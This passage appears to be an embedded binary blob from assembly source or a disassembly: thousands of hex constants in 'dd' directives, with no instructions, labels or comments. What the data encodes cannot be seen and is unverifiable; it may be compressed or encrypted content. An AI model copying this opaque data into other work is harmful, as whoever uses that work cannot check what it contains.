0C850E562h, 3004F6FCh, 4C11ADFDh dd 930BA938h, 406EA2E6h, 1391860h, 0C6630A5Bh, 706B3530h dd 0E4948E98h, 0F92EE2C0h, 0CB7811h, 4F8859EDh, 840B0A32h dd 0C95CB700h, 543F1C67h, 510530AEh, 0B0AD6871h, 2E3B0B13h dd 0CD584800h, 0D86F5Ch, 67F4D102h, 0DFF1019Bh, 7C0083B0h dd 4F6457AEh, 281EB99Ch, 5CA8A7E7h, 0ED05F101h, 0E12C10BEh dd 0D664C080h, 25A9FB00h dd 1C2E4D04h, 0C2390487h, 90612A23h, 0A45248A4h, 96C8EE3Dh dd 0A200CB42h, 90B1B28Ch, 0DF1A006Dh, 2E8DC363h, 0E9581138h dd 4A881C7Ch, 0F720D805h, 25293880h, 1F89051Dh, 0C6A02FB5h dd 0C57B18B8h, 64E458B0h, 6D4E051Dh, 4A43221Eh, 0EAB385D2h dd 93D480ADh, 7A73512h, 0E9C94642h, 7B15339Eh, 0E498BEE2h dd 7D007706h, 52AC448Ch, 0E691157Eh, 9C78F1A3h, 0F6101F05h dd 1E50C3B3h, 858FA800h, 8C38FA75h, 0D0FF039Dh, 898A58F0h dd 2921B98h, 3F626500h, 4ADE3EB8h, 32690BC7h, 0A280755Dh dd 635E1D41h, 7D3FD002h, 618A51A3h, 0EFF8826Ch, 1E4D03DDh dd 39AAF277h, 7A8773E7h, 0EA139AE0h, 0DA3E700h, 90B3B8DDh dd 7BD60035h, 0CB5E05D7h, 9100FF47h, 0FB1B102Ah, 0A1C345h dd 0FE84BA40h, 0EEA92735h, 7E369700h, 37E8018Ah, 1435B67h dd 799145F0h, 0C1E5D8F9h, 0A0A807FCh, 0D0B63156h, 5257A9E0h dd 2F250089h, 446384FFh, 0C55B7374h, 9E935C30h, 7589AF5h dd 821EFD1Ch, 0FF357024h, 9DE69FADh, 905EAC00h, 0C7012F68h dd 157906FCh, 2AE11958h, 0C69DA600h, 39AB37E5h, 0B9410072h dd 6995DB97h, 0CF17DFB3h, 1080A165h, 60AFBDBFh, 0DA3771D6h dd 8D006196h, 873C3004h, 0E9E2541h, 0BE58DFFCh, 5B767560h dd 0EC018255h, 5015C32h, 0F024D4F5h, 0ECEFFA4Fh, 435E17A2h dd 67E4C0A4h, 0DB3CC0C6h, 4C5900F9h, 0F85D19CEh, 7F710014h dd 8D6B2BE9h, 0E0917998h, 481838C2h, 1D13B03Ch, 0F8BD0F6Fh dd 0FEE3F20Ch, 4A01C770h, 0B62F7A16h, 0E424EC7Fh, 52BE023Dh dd 5133314Dh, 49B11C68h, 10CE9C00h, 97BEC967h, 0E15A4CE4h dd 4820122Fh, 91E506A7h, 0FFD8E809h, 804A0C94h, 9FD6078Eh dd 1157B3F8h, 0F0F9226Dh, 0DC920AEEh, 0A535A306h, 2481E802h dd 31BAC0h, 86C19854h, 4300C43Bh, 0DF3575B5h, 33FCF15h dd 0D4D6831h, 6CDBE5A4h, 0EC40E4FAh, 7B1286DAh, 7000F570h dd 1C56E283h, 0C6FC0047h, 9732F82Bh, 36002EBAh, 867FEBCBh dd 1DB393D4h, 1687F243h, 508820CAh, 8A0792FAh, 0AA71ABB2h dd 49AD8920h, 2830B8A1h, 0B69C0Dh, 63745C84h, 20820EF4h dd 0A7479500h, 5D35FD59h, 323C3D31h, 889FB87h, 0F0090EECh dd 732D2880h, 0BD310518h, 8F697849h, 3DE7DB11h, 0CC991C28h dd 0C665DDC0h, 7E9C3490h, 6B7909D4h, 68835BE4h, 0BBE08FC1h dd 1858DEFDh, 0C00F0568h, 0D4E4CA60h, 2B7F02A4h, 1780B5A8h dd 48230E0h, 0A96971Dh, 39423D4h, 7FCF6F7h, 983E80EAh dd 876E4E30h, 90B9D2D8h, 1C0E3C76h, 0DEE63D5h, 275EC094h dd 53AF0160h, 0F5327FE7h, 0A9CC3052h, 0DE4E7B00h, 0C293851Bh dd 0B1CE0184h, 24E0819Fh, 0F86BDCCFh, 8F45A18h, 0D219F0h dd 7992E7E6h, 221B9ED3h, 35542900h, 0E0211708h, 999502F2h dd 84A79752h, 860B4468h, 65041500h, 9E68EC6Fh, 0FE8700F6h dd 998FCA8Ch, 2800FC4Dh, 9357A92h, 77DC0C16h, 6F9A29FDh dd 58C302ECh, 2068127Fh, 0D415A4B7h, 0ECC435h, 8B3B6C34h dd 0F661E6h, 5621B8DCh, 4042880Dh, 0C4F88717h, 10B60C49h dd 48A23F70h, 0E85A9330h, 86580191h, 29D6CD18h, 49CC20h dd 66D198FEh, 0AB9C8B2Fh, 85B261Dh, 546A94C0h, 0BC0E4EE2h dd 3B4800B4h, 292D02BDh, 2F05A30Eh, 37CD0074h, 904D3925h dd 20750Ch, 0B694BBF9h, 5DE5D058h, 439D6000h, 2F2DD856h dd 371D00F5h, 0BACA15F4h, 33005991h, 92F14AFBh, 6FE874h dd 0A71AB1E4h, 5FA3A5FEh, 0AD3D3Bh, 30C986B6h, 3E1F2A08h dd 0C801340Eh, 0A004BA81h, 60D5CC19h, 75485300h, 0A69E6745h dd 77E37583h, 4CBD003Dh, 5411D0F0h, 2400FD16h, 1FCC7712h dd 0E2A49FB2h, 0DC6800CEh, 4654418Bh, 0CA00F9EAh, 7003D72Ch dd 51D169h, 8DDA5DFEh, 303ED35Ch, 9264F600h, 4E813B6Bh dd 0B7900331h, 0AE1ECCCEh, 0E357FA98h, 0FE8D4C00h, 0FFB9CA17h dd 19E628C3h, 7F720081h, 0BC4BE074h, 63761EB4h, 0FB466800h dd 0A3025930h, 23190F57h, 6BA0AF18h, 99143CC0h, 25603Bh dd 0FF374639h, 0D6CC64h, 8EAED257h, 51DDD03Ch, 2DE6A400h dd 70AC6EFh, 0B35A01F5h, 0F94D4689h, 9788DC81h, 4239DD07h dd 0D560D75Eh, 0EC667E35h, 0BDEB0006h, 310B734h, 53000BCCh dd 946AC384h, 7CAC49h, 0FBE01FBCh, 6EA98CCFh, 0EDE43600h dd 131DAA4Ch, 49710A8Ah, 0CA3BDCh, 6296F4CFh, 90193E5h dd 78C73D1Fh, 0D0F17B28h, 0BFA0A02Ah, 0FAB75C12h, 0D2960000h dd 796FE5h, 0A924EDAAh, 0C47B881h, 0CA3A5800h, 2D979880h dd 90D00072h, 0DD9CD7BEh, 0ED0161BAh, 4CF7E239h, 3FC44876h dd 767F8C5h, 0F53B888Ch, 4BE6D0CBh, 0C000373h, 0D3941033h dd 58E371h, 3E2AC763h, 1BFA5519h, 0D9F52500h, 7D1EA637h dd 0ED6000BAh, 6439C404h, 5000E7Fh, 48D79306h, 3D27AB16h dd 12BF0D78h, 0A92B680h, 3CB3F950h, 0F2E2CF03h, 9794C519h dd 0FBDF80EEh, 24805224h, 0BF3D12h, 2D6F0206h, 51001333h dd 40CEBE27h, 1FFCE86Eh, 80DD4CB0h, 5F4FDAA4h, 0FF006690h dd 0EDBF930Fh, 8CF63Ch, 0DE37A02h, 6FD7A848h, 5AF4C501h dd 1210E0FFh, 1E49D441h, 5B240884h, 5A0AC0D3h, 0F6749C63h dd 677C010Ch, 3A9D2119h, 3860FF28h, 6BFE2162h, 0C11653Ah dd 183F87A7h, 0B7108064h, 31B7C03h, 0E367A5C4h, 623800FAh dd 0BFD328Fh, 8A0A9DCBh, 30897D6Bh, 9C334500h, 61341EA5h dd 0F4D569FCh, 9BA93040h, 0DA33A900h, 0FAD2DE8Fh, 77FE0A41h dd 1E20517Dh, 8EF8C065h, 0D754B312h, 0AB02D624h, 39EC3C00h dd 0B72A4Ah, 0E0D83D7Eh, 5585F5A0h, 0FC57E516h, 0FEFD1200h dd 0C6BF034h, 4004E612h, 920F6818h, 6382196Dh, 0BF678F13h dd 4A9656D7h, 0FD2B1520h, 1301DC6Bh, 0C592B1C4h, 0F308030h dd 0DA8DBBA7h, 0C2FB0C60h, 41186421h, 4F61567Bh, 4475FA40h dd 2F250E0h, 0DA7E05A7h, 220E3695h, 0A0287FCDh, 4A719FD4h dd 0D8461EE7h, 31906A26h, 0FC2125B6h, 4189861Fh, 505117E6h dd 3186F511h, 0C2D12BDDh, 3140C676h, 4730F01Fh, 9FEA4126h dd 23D40D1Ch, 0F048099Eh, 540C0E60h, 714952C3h, 1137CB1h dd 3EB9617Bh, 0A0F4F667h, 24FE6060h, 0C856BD00h, 9BFE1CCh dd 6CDA00FDh, 1DBBFB55h, 1C035CD0h, 0A5CD0C45h, 50C990A8h dd 6E310B4Ch, 5EF091ACh, 0ECA0E900h, 0CBC7B8FEh, 0CA1F0051h dd 0B61CC6CCh, 0B900C555h, 0B509AE7h, 5456F7h, 7DD1BBEh dd 1FC79146h, 0C3005698h, 0F4094CE2h, 72DB257h, 90A30B92h dd 4F6CFE5h, 8094F642h, 6AA2E473h, 0D5FFB70Eh, 0C30F80AEh dd 1F52F4DAh, 0C0E59201h, 31D06038h, 0FC006EBEh, 6769FDDBh dd 0ADF9FFFh, 8526FEEDh, 74548090h, 18CAD133h, 677A1E00h dd 5A6492FDh, 2B4B00C9h, 6B31786Ch, 0FB0E255Ch, 0E1D7B802h dd 1D9BB560h, 0A6126424h, 0B651904h, 0C4A810E3h, 500BA93h dd 0DA16F044h, 5070FDFAh, 2465E888h, 680F97Ah, 299D32A7h dd 0A811F442h, 2284798Ah, 58229E9Bh, 891D2211h, 7963244h dd 0C3FB470h, 0B875D028h, 0AF3BF843h, 3B6600D0h, 0B342D15Ah dd 64E4001Bh, 4DD661D3h, 1100F10Dh, 0FE79BCA3h, 249E9725h dd 0B22DB05h, 8400DAF3h, 0B666415Ah, 64F18B60h, 0C09104h dd 48545861h, 96665577h, 0E4A97300h, 129E87B8h, 0BABE0057h dd 6F82B631h, 2F00B262h, 4809AEDCh, 1E6C8AC5h, 0C09275F2h dd 311B5090h, 4F009A36h dd 0BC81017h, 5C02C4D4h, 0E4004C07h, 0EC1FA805h, 8A004585h dd 9F6F5682h, 0B46532h, 5179D153h, 9B5D2D57h, 6904103h dd 0A075F7D2h, 0C02733B3h, 10600DB8h, 0A73B6C50h, 7A998011h dd 540892B8h, 61A50081h, 849FFEE7h, 0DCB01838h, 60882651h dd 0BB006077h, 39068D7Eh, 2C0E9257h, 2857B5F7h, 379B00F6h dd 551360A7h, 0F503DB8Bh, 976C957Ah, 47C7B079h, 0AB9D004Dh dd 2F1F4113h, 0FB00A8E7h, 0B36B955h, 403D8h, 80857F4Ah dd 0AA9C77B6h, 0BE006DE0h, 81874974h, 3A1106B9h, 0A687E28Dh dd 61895A85h, 6090F24Dh, 42120D6Ch, 0DE008AD9h, 0B213863Bh dd 0EB5F00A6h, 320B28F7h, 620E03F3h, 0E122371Ch, 3E09DECCh dd 2D60CC35h, 39E23B9Dh, 9E069183h, 859816D8h, 3C0EB075h dd 6003ACF8h, 57C164AAh, 396B0314h, 86D474CBh, 0F433D3F8h dd 18281779h, 0F52E8AABh, 6300048Ah, 1E0CBE75h, 51B2B02Ch dd 88F4AC54h, 4F370F53h, 8F05551Bh, 45E8032Eh, 0A9E8F4ACh dd 3663C7C3h, 0D07E5E20h, 3E9528D3h, 180AAA8h, 68BBC220h dd 8D00B0BDh, 8B7ED421h, 392BD9h, 52D2FE5h, 1D89FC98h dd 9E7A9000h, 4125EE54h, 2B18049Ah, 80E3B16Eh, 0FFF2CB48h dd 0C1B5B700h, 2843C76Bh, 21A40053h, 608F7FE9h, 6F5CE3B4h dd 5A007934h, 0D528D61h, 99F1344h, 0FBA7F62h, 0F125B380h dd 3703CDE0h, 8A636A42h, 3A11D064h, 55AC3DECh, 9F0091C8h dd 740E5A5h, 0FD00B8CBh, 50A43806h, 0B04CD4h, 2AAEB4F9h dd 0D5EA22A6h, 430000BAh, 3EA475B2h, 24C05Ah, 3FEB62B5h dd 0E583F3D2h, 59276700h, 8F395469h, 21701DBh, 72FD1D13h dd 3A0CE4D4h, 5BA7CE07h, 0C8300DC1h, 0E6D0D63Ch, 36C4026Ah dd 0B5790EDBh, 714CB8A7h, 60B26FE8h, 5C1255E2h, 64803E0Dh dd 1B86BC69h, 105650ACh, 0D2139CE0h, 0B21C9600h, 0D695C10h dd 4ADD00D0h, 9F5FC42Bh, 53009873h, 71FC1593h, 64AD05h dd 865AC0F5h, 0D9DC4D7Dh, 0EE00457Eh, 0F9830B4Ch, 32568h dd 0C61215A9h, 0A13988DCh, 95276F00h, 0E24E9ED0h, 82551CA5h dd 933B40EFh, 989B3872h, 1F153300h, 4AC328C9h, 0E5C801A2h dd 7A688934h, 367BE461h, 0EA4048C3h, 0F8BBE6h, 0F1D33140h dd 9E777DA0h, 332ACA3Dh, 0E7FAE4B3h, 33EC8A80h, 5A210011h dd 92228690h, 160B29E0h, 0AA882B9Fh, 740982B8h, 0BA9DC79h dd 1D00F78Ah, 263A0FE3h, 919A7806h, 0E2DEF003h, 16A10190h dd 5731C20Eh, 39242063h, 0DF54E600h, 60CA1B44h, 0C0C04C33h dd 0A1811A00h, 654EE158h, 0B2B31C00h, 6B809B8Fh, 2AE92430h dd 3F541E78h, 0C0B11F92h, 3869F08Ch, 0F4AF4909h, 0E6BC20C9h dd 29C14E1h, 0D187B24Bh, 0B062A55Eh, 0B0AC880Ch, 15030800h dd 4BB6B1A3h, 24C500ECh, 8D3AD01Fh, 2958DC3Bh, 0B9050051h dd 173D7F9Ch, 248007BDh, 80215DA5h, 3A92E233h, 0FAB08B00h dd 20AE312Dh, 462F1C8Eh, 0ED35C0C8h, 4F91BBBh, 0C2153000h dd 4B4A60D6h, 0B646006Ah, 2F26229Fh, 0DA0055B7h, 8D0DAF19h dd 0CE40C9h, 838C363Dh, 0F00A3129h, 0BCBD910Fh, 0B9434163h dd 0F435A238h, 241C7630h, 40940129h, 6A97BD09h, 5E592400h dd 2126AF5Ch, 79013DCh, 40141214h, 0A4CD3AD4h, 4600C254h dd 0F94922DFh, 0FD69043h, 0F23CD12Ch, 12337242h, 42DE2860h dd 51C94500h, 49173963h, 0C2690094h, 0F2A30629h, 6E011152h dd 0CADC34F3h, 0C960EF51h, 0D87950C1h, 312C06Dh, 9639EC5Fh dd 53BE3Ah, 5B791ECAh, 0C3C213h, 1FF4CBD1h, 4A14EEB3h dd 0FFF17E00h, 92F915DDh, 0C3290013h, 0D7962B19h, 0B103306Dh dd 0E84E824Fh, 0B5EB8EAh, 7BFD00C4h, 0A9BC7050h, 0BB09F14Dh dd 8021805Bh, 2AA2B902h, 9D741FBAh, 0A9FEC373h, 0F298542Bh dd 0CE5818F0h, 570A0574h, 0D7C1EBF6h, 38D06FC1h, 0B5915050h dd 7D9202FBh, 2256300Eh, 4EDFAF40h, 0D285E300h, 2E67E0E4h dd 31883A68h, 8064F400h, 0F8229770h, 0A302C302h, 809CA7BEh dd 3E61A6EAh, 0EC9B0273h, 55E4D59Fh, 0C3017C50h, 0A8F0F431h dd 3ACC40DAh, 0C0150FE2h, 66A07C2Dh, 0E8D9A6E4h, 0CB8D703h dd 8881945Ch, 3F37D9Ch, 0BA8C10AAh, 3E7D274Fh, 0BD284BE6h dd 0EA3FE822h, 1232025Ah, 0E8305FF6h, 3B1968h, 0E92DAC8Dh dd 4B81DF2h, 3A804B02h, 633DC207h, 0ECA0D870h, 2532039Bh dd 97DCFD36h, 0D8F6D0D7h, 300FCFE3h, 0ABB95D8Dh, 3080DD46h dd 0A50FB429h, 14D400BFh, 4FCCFF9h, 868B4744h, 1605C077h dd 0B800634Fh, 822B03C5h, 1FCA2E9Ah, 0A34A49h, 88CC9F4Bh dd 33E1F2Fh, 3438A4DBh, 8001BB38h, 995E0D04h, 1C329D77h dd 1E109A7Bh, 274712A5h, 0E4895068h, 0BA000114h, 8EBC431Ch dd 9DA83Ah, 0A27A94Dh, 5EE9195Fh, 8379463Eh, 70AE11DEh dd 260ED074h, 3F7983h, 528A2F80h, 47257242h, 5CFF210Bh dd 0EB805598h, 0D9F9C929h, 9004CB4Ah, 4B80FC87h, 0ED416EFh dd 23CC6CABh, 0C91080D6h, 8600DD5Ah, 1B9A046h, 7920AC1h dd 23AD708Bh, 0F50630EFh, 4A0E87C2h, 24407ED1h, 8CC0D6A7h dd 3CD7FC9Eh, 0B801567Fh, 680A334Ah, 0EFC1CCEAh, 1AE80800h dd 0D0628D80h, 822218C9h, 1323E037h, 0A32B3Fh, 0BEA4EF3Dh dd 380547h, 0D2C90C1Ch, 9E495D0Eh, 81309B00h, 0D922621Ah dd 0E5AD00C4h, 0D266B1B7h, 52003AA5h, 5E76FCEBh, 90026FDAh dd 0B7510077h, 29D8E18Eh, 7A00911Ch, 36B2779Fh, 1DC7666h dd 424F0DF5h, 0F848FC6Dh, 90A0A59Ch, 0BCB89664h, 4A090800h dd 12A0CBBAh, 0B372003Ch, 0F99845DBh, 0F4005749h, 0EFE37523h dd 5C60F1A2h, 0D780649Ah, 0A715A508h, 59004C7Dh, 0C00DD8B6h dd 3EC4E763h, 0CC80DDB4h, 61BB812h, 251A40C7h, 0C0287746h dd 30445E73h, 55107679h, 0E33D6494h, 80338129h, 16E2A467h dd 0B423C880h, 0D12D31B8h, 0C8288E01h, 0D3825477h, 0A6E2F851h dd 104E8C0h, 99DE7D38h, 70CFFA7Eh, 3209AB40h, 8D8A3Ah dd 1F3D7813h, 0C4A40059h, 6B946809h, 0C87AEE7Fh, 0B47C6200h dd 5DA6FA14h, 0E01F000Bh, 0A7FE3964h, 11C8ED55h, 57C00441h dd 590F12h, 4293D58Dh, 0A63E0035h, 8EFD6680h, 0B70044A4h dd 8AC5C1B0h, 9687A5h, 625C469Bh, 500EC68Fh, 0BE660C03h dd 0C7807CE0h, 92FD55E0h, 0EC8E0193h, 887D3C7Bh, 3BD8D8AEh dd 0D102A57Eh, 9C0B44E0h, 1096E0A7h, 4669009Eh, 0DAFE497Dh dd 0D800DF25h, 9D1D234Ch, 7EC9E047h, 0F9E30401h, 0C79C6310h dd 0A4E9199Fh, 45D08766h, 0C4E47365h, 4F7CE4F4h, 5BA04C53h dd 7A00F838h, 128E4666h, 7BC6C3h, 0A96E974Fh, 51FE05BBh dd 56CA20F9h, 0CF0307F2h, 0DD34871Ch, 3F1AC840h, 3D5E0024h dd 6A8BF60Fh, 0C000CDE7h, 492DDF2Ch, 480537h, 0B4FC636Bh dd 2E54574Ah, 4543360Ch, 9FB9044h, 0E95024F0h, 41D84CAh dd 40A9448Bh, 0C90F68h, 27762E66h, 59EA32AEh, 7045D62Eh dd 0E33BF881h, 2FE8B58Eh, 0E6D058A5h, 0B906FF00h, 10343AEEh dd 90E87A1Eh, 0B5F81C80h, 294B08Ah, 0B9AFE5D2h, 9FE00C65h dd 0D7005145h, 2621C27Dh, 0F0EF30h, 0A3A5E69Dh, 819641E7h dd 0F5544D00h, 3F4C9EBh, 331A00AFh, 95487313h, 0D800D2C1h dd 11579C01h, 0F25C8B22h, 0C93C0081h, 0FFD345Eh, 3300E9DFh dd 69EBAB35h, 4A75B3h, 4F7AE29Ch, 0A7C4CEF3h, 6833981Ch dd 20C2BECFh, 25AE422Ch, 2F130155h, 8A3BEFECh, 0EC503179h dd 3501A921h, 0C7975A81h dd 32D0AFC5h, 0B112006Fh, 0E5DEECAAh, 1B004F1Fh, 0DD371177h dd 38049C0h, 0EDA59FE8h, 2100E32Bh, 6A20127Ah, 0A001A198h dd 30BFF788h, 0F521C6F1h, 0D4004719h, 96783A7Ch, 498A0E71h dd 0AC00DCDDh, 0EB197215h, 3600F74Dh, 0CEBF5A1Eh, 8A1040h dd 3A0EA516h, 0B7FE84DCh, 0C5BEAD00h, 5D6FF68Eh, 6EF8A1F8h dd 0B2069872h, 3018CE31h, 0DEB16A00h, 34A51F3h, 7C703997h dd 75F5EF80h, 17E19D59h, 40F9DCFCh, 88618A88h, 8CDED179h dd 7F993D00h, 0EFA492h, 0C97F2DCh, 8E0A9A38h, 2B764F12h dd 86553843h, 0A8B7AB0Eh, 3F654948h, 36804CD4h, 0D3FC5791h dd 0B8F2F6F5h, 0E8446301h, 0BE394F83h, 0CF200475h, 0F432000Eh dd 0B3822DAAh, 65001D0Fh, 0F6A9E911h, 77CA0298h, 0D086053Bh dd 0C0227A8Fh, 97C35052h, 0C762A00h, 534717D8h, 0E4B57728h dd 0F94B000Ah, 4F27DB79h, 0FA1C09B6h, 49879215h, 0D3825C89h dd 2ACC8205h, 135FE0BDh, 87830BD0h, 530075A0h, 7CF0E1D1h dd 0D2416E26h, 0CD032116h, 0E05BDC7Ah, 0B00824A9h, 0ACA3A9Eh dd 8FA46E00h, 6A6C33F6h, 92097003h, 0CA654C66h, 4F4CD864h dd 0AA48072Ah, 8911B059h, 0F496813Ah, 5E18FE50h, 6A66A080h dd 0F104B501h, 0E2C219F0h, 0D803302Ch, 8F60DB62h, 0A5C03780h dd 0BCBDFB00h, 0FCCCE7A7h, 51803E0Ch, 9FF53200h, 35965D4Fh dd 737FF805h, 0EC0CBB6h, 26A0AF4h, 1DEC23B4h, 1C60DE9Fh dd 0E30054C8h, 0FDCC1A42h, 2189C0Eh, 393DDBBBh, 1860B1A5h dd 0FC01C1FEh, 4CB3063h, 31C4B48Dh, 0A5540040h, 87884639h dd 7A1EDB76h, 5B45B259h, 48A0AAD2h, 826F0BB7h, 0A18164ECh dd 407F5432h, 8D351B86h, 970096E4h, 2365B090h, 48813B03h dd 89006446h, 0F2EB1ADAh, 0D4075878h, 960E6F83h, 0E4DFAFF0h dd 378E003Bh, 7EF3C08Ch, 4803539Dh, 0AB3A61CCh, 19D4F043h dd 50572E97h, 74F60B1Ch, 210EEC68h, 3730470Eh, 0CB00337Ch dd 18C71BC9h, 2A52004Ah, 0C0EBF961h, 0DE986029h, 55900B61h dd 0A6F8E10Eh, 0C3D01F24h, 802800EEh, 1CD9547Fh, 976B1E00h dd 3B7BE55h, 0F3570018h, 0A375D75Bh, 630B9EBh, 0FE7F482Ch dd 27AA0092h, 7123C098h, 5FCC309h, 532A0C00h, 2272DD10h dd 46520081h, 0B1F76BDEh, 4CF8A0ABh, 39ED6800h, 88B4F080h dd 74C900FAh, 26BD3D37h, 2F00F3C3h, 0A2B290FEh, 95610103h dd 0A60518E0h, 3D36D21Eh, 4AC0AA9Dh, 3481B1C7h, 7F407524h dd 0AF9A00DDh, 0EC561C31h, 7D00CA58h, 5EA0E03Eh, 7E5D09Fh dd 0BABEE13Ah, 850830EDh, 0E0263B8Dh, 228008E2h, 0AD29DC0Ah dd 11F20086h, 0F68D88C9h, 8E98313Fh, 82D8051Dh, 46CBB200h dd 2E83391Bh, 39855C0h, 4D527908h, 0B650EBE0h, 0A7000494h dd 0E39F5773h, 4E85808h, 29288305h, 378500F9h, 4CF0C6F2h dd 278EF700h, 0C0AF73F6h, 1EF50182h, 446C4B69h, 0FCC42536h dd 0D4FD27EDh, 0B5058847h, 577F0F11h, 6AC205C1h, 0C07F02Ch dd 70945C3Ah, 95C9C78Fh, 9B07377Bh, 6AC114D6h, 1511BCh dd 0E9833EC6h, 3CE4C91Fh, 5801EA90h, 0F133EEBFh, 0E1E480C4h dd 6D2D02A3h, 67039888h, 0AB0070F0h, 0FDFDC0Bh, 38C4E5h dd 1CF0052Dh, 0F714E76Eh, 5C8DDB00h, 0E8832A89h, 0FF3817C8h dd 856D07F1h, 5D2C51B0h, 11E020A8h, 0A4AF38h, 0AAB21CF7h dd 3E9DD1h, 0ABE684C2h, 21ACA942h, 0DA025900h, 67EECC6Bh dd 0A2990082h, 5D2D762Ch, 618BADDh, 95114898h, 7B5A00B7h dd 0E56C1C86h, 0CC04B00Bh, 543659DCh, 0D5A51780h, 2406E613h dd 289E07h, 1F28FFACh, 0AF00EABCh, 0D122633h, 19DFDAh dd 0D13B1A1Bh, 466896Dh, 86CF7100h, 4C2210A7h, 83B8C6h dd 0DA98B87h, 0CD6F54E8h, 100DBF0h, 8FBA02C8h, 0CE2F47h dd 17112450h, 73B89E71h, 0D1C58C00h, 84DB3F46h, 0DCEE0022h dd 9E4D982Fh, 675863FBh, 1BC00EFh, 9211C053h, 0EDD03E7h dd 7747C513h, 1CF10788h, 6409A700h, 3A6846FFh, 54FC0016h dd 0C7283E31h, 0AA000E45h, 0EA490225h, 300B4Dh, 0D575C5D1h dd 7843AC4Bh, 314C80Eh, 0C0B06E1Ah, 0C06261CAh, 0AFF726A3h dd 0AC803896h, 7AC72999h, 581E1D4Bh, 0BC0BBBABh, 59A0A008h dd 70D318F1h, 37DE0036h, 247593A5h, 1E263823h, 0CABA58E1h dd 7787FC2Fh, 0C79C6265h, 94108451h, 5A1D0BC8h, 84B29ED2h dd 93009F88h, 9DD433CEh, 1234011Eh, 0A261BC9Eh, 0A7FB0011h dd 0C9D34A64h, 0E404D294h, 7C66A4A0h, 0BC603A11h, 0AC7C0E02h dd 0D8519D30h, 0D7F52B00h, 264A20F7h, 23DECBh, 0E76B781Eh dd 0CA005EC7h, 89448B1Ch, 39631323h, 4069EE9Ch, 10209450h dd 0F4440190h, 0BAFADA6Fh, 0CDE3E350h, 5651CAh, 85FB9300h dd 485EACh, 67B73BFCh, 9905DFD1h, 0BFAC3C50h, 1FCAE500h dd 0B7EC19DEh, 95120F7Bh, 0D4E16CBBh, 70E6069Ch, 0E2041F27h dd 2791F0A4h, 395900C1h, 0EACBD840h, 79B30097h, 0A2D83509h dd 800E2ECh, 0E80726F0h, 45DCD2h, 7B11988Bh, 72DFB81Bh dd 3C273000h, 0F697E989h, 52942C34h, 5A50112h, 0F875E7FCh dd 3700F84Ah, 0F17135Ch, 2D3D3Ah, 0B354D6CCh, 58E280A3h dd 63D9198h, 3124C967h, 609BD6EAh, 993599EBh, 72BDE8h dd 79657D57h, 6A24F89Eh, 2FF09A14h, 9CEA0AC4h, 1DBFFC1Fh dd 0AD028D7Bh, 0A22C63D0h, 56C67CF4h, 0EE3D00BCh, 733A3E48h dd 5B572000h, 9BA6A8EFh, 7881017Fh, 7DD76DC5h, 7E319CDAh dd 8FFDAC5Dh, 60A581CCh, 0D46F95Ch, 90684BD0h, 8F44F2D0h dd 0E5807D00h, 0CDD91ABh, 966700A5h, 9D476233h, 0DA617315h dd 2D64D828h, 0A6F5A880h, 0BE5DD07Ah, 0B8625C00h, 3EE9BC28h dd 81CD677Eh, 0F44F30E5h, 0D700C060h, 6C448320h, 0FC46FC8h dd 0D001CEA6h, 4422CAh, 5188D792h, 0C0943F64h, 0CCAA2900h dd 3EF32775h, 7B001A95h, 479092E0h, 690F6E46h, 4F10F145h dd 0B50A20FAh, 3260333h, 0EC44B71Ch, 0D2906AABh, 0A2033980h dd 0A3C12C20h, 47CC5DDh, 0A7B43502h, 0D04C8010h, 0AB488B42h dd 7184003Fh, 78F8BFF4h, 0CF023BC3h, 54A3C503h, 2911FE2Eh dd 5A00F083h, 62118667h, 6000A0Dh, 959198EAh, 48782D03h dd 0EB175B1Dh, 6E640FA5h, 0AFFD0A40h, 443D9942h, 8C20022h dd 0F03FBFB9h, 35390EDh, 0D21CA369h, 19E3BC31h, 0E0A0DAE8h dd 5BD8C01Eh, 12FC7DC0h, 930E2Dh, 9DD02896h, 0C6A02644h dd 200010EAh, 0C768FD71h, 8F3D09h, 90032BDEh, 55460C65h dd 8AAB2400h, 4BEA1D96h, 0CF9C0093h, 1A1C54AAh, 0CE0E3BA0h dd 202786E7h, 8E4F803Eh, 0F666001Dh, 0FDAFDCDDh, 0C11C3199h dd 80BE0F64h, 0B7F76E16h, 5BE7F54h, 2D07D0EDh, 51B400CAh dd 0D73F7DBCh, 4A3D0B07h, 7CF04E1Eh, 0CF6CFFh, 7BE36E48h dd 380BE1E5h, 16B7E900h, 893D6553h, 22000A9h, 0D5959A5Ch dd 5500BC24h, 8AF9EB79h, 7CCD5448h, 0A8CF0085h, 52D36F08h dd 0E01CE90h, 0DC5B4D50h, 16F86487h, 76990F5Dh, 7E606235h dd 0C50526EFh, 39CC0B1Ch, 992E65C0h, 0AF4268h, 0B0FA13FFh dd 86412C5Eh, 4B7EBE00h, 1F90C102h, 0D9980F8Dh, 19E0B403h dd 0E1A4A3F3h, 22475B00h, 4AF9E590h, 6CC51F36h, 0A857C71Fh dd 0FBE840F1h, 0BE2C48BBh, 3A004407h, 5783D9D7h, 9E470086h dd 61E9E551h, 0F09D47Dh, 2B82EC6h, 48E64D68h, 0B30D24h dd 1F361B45h, 0EAA8FBEBh, 0B11CEEF2h, 7BDE370Ch, 36791900h dd 0BEAB0Dh, 9E1DB045h dd 0A25504CDh, 41666B02h, 4062D73Dh, 3A0862Ch, 39B0A968h dd 10F82B76h, 4B0002F1h, 62D66A81h, 0F2110BB9h, 2EEE0BCDh dd 6980BA3Bh, 694C7728h, 0F5F48900h, 0FD9ADDD1h, 0DBBC03E8h dd 87306806h, 0F41146D0h, 9CEE100h, 0D8C53DB5h, 72B890DEh dd 0F8E074h, 0ACB84F3Eh, 4ECFD729h, 0B6019200h, 797A8C36h dd 8A0D009Ch, 552F9F9Eh, 0FF005A4Ah, 8022D530h, 4861EDh dd 24A11075h, 14FE95FAh, 43BAF600h, 3363D30Fh, 0C14837h dd 7D3C2E0Fh, 0CC5C8700h, 72E21D1h, 8E00FA60h, 0ED54130Fh dd 5043584Bh, 8CF528h, 0CCC1C0C7h, 0AE102511h, 5ED37C0Fh dd 9477C0F0h, 0C8D2Ah, 0A1AFD03Eh, 0F63CC21Ch, 1B680A00h dd 716E4F51h, 96A514EFh, 720EE0B5h, 810F987Ch, 0DBAFAC20h dd 0EF0062F0h, 0BC22D04Ch, 7F346697h, 0FAD924D3h, 708D0968h dd 0BE639C05h, 0E4BB3B03h, 0A794F8E7h, 28FE0003h, 101C4925h dd 500B66DCh, 5335669h, 55C05AE8h, 71565F6h, 0A818BD62h dd 0E9888059h, 0FB00DDE8h, 86222558h, 15B6479h, 8A5A7565h dd 7017D2AFh, 1A5C5ED2h, 9DE43FF9h, 8CA62620h, 20013E13h dd 